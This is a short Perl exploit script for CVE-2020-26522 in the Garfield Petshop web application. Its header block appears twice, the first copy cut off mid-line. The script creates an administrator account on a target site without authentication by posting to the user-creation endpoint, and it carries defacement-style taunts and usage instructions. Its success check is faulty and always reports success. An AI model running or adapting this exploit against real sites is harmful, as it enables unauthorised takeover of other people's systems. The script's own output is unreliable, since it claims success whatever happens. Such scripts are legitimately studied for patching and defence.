#!/usr/bin/perl

# Garfield Petshop (Add-Admin) Exploit
# By Ramdan Yantu rysec.io bastardlabs.info
# From Gorontalo - Indonesia
# Mail: ramdanyantu__at__gmail.com
# Ap #!/usr/bin/perl

# Garfield Petshop (Add-Admin) Exploit
# By Ramdan Yantu rysec.io bastardlabs.info
# From Gorontalo - Indonesia
# Mail: ramdanyantu__at__gmail.com
# Application by Gamma Advertisa
# Link: https://detapos.co/ | https://demo.detapos.co.id/petshop
# CVE: CVE-2020-26522

use strict;
use warnings;
use LWP::UserAgent;

my ($url, $path, $usernm, $passwd) = @ARGV ;

unless($ARGV[3]){
print " -+--[ Brought to you by Ramdan Yantu ]--+- ";
print "-+-- rysec.io / bastardlabs.info --+- ";
print "-+--[ Garfield Petshop Add-Admin Exploit ]--+- ";
print " Usage: ";
print "perl $0 [target] [path] [username] [password] ";
print "ex: perl $0 http://target.com /petshop/ w00t w00t ";
exit ();
}

my $ua = LWP::UserAgent->new( agent => "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1)" );
my $ob = $ua->post( $url.$path."/mod/user/act_user.php?mod=user&act=simpan", {
"nama_lengkap" => "u h4V3 833n 0wN3D", "usernm" => $usernm,
"passwd" => $passwd, "rpasswd" => $passwd, "level" => "admin" } );
if($ob->is_success != -1) {
print " [+] splo!it successfully! ".
" username: $usernm ".
" password: $passwd ";

}else{
print "[-] splo!t failed! Maybe ente kurang tamvan! ";
}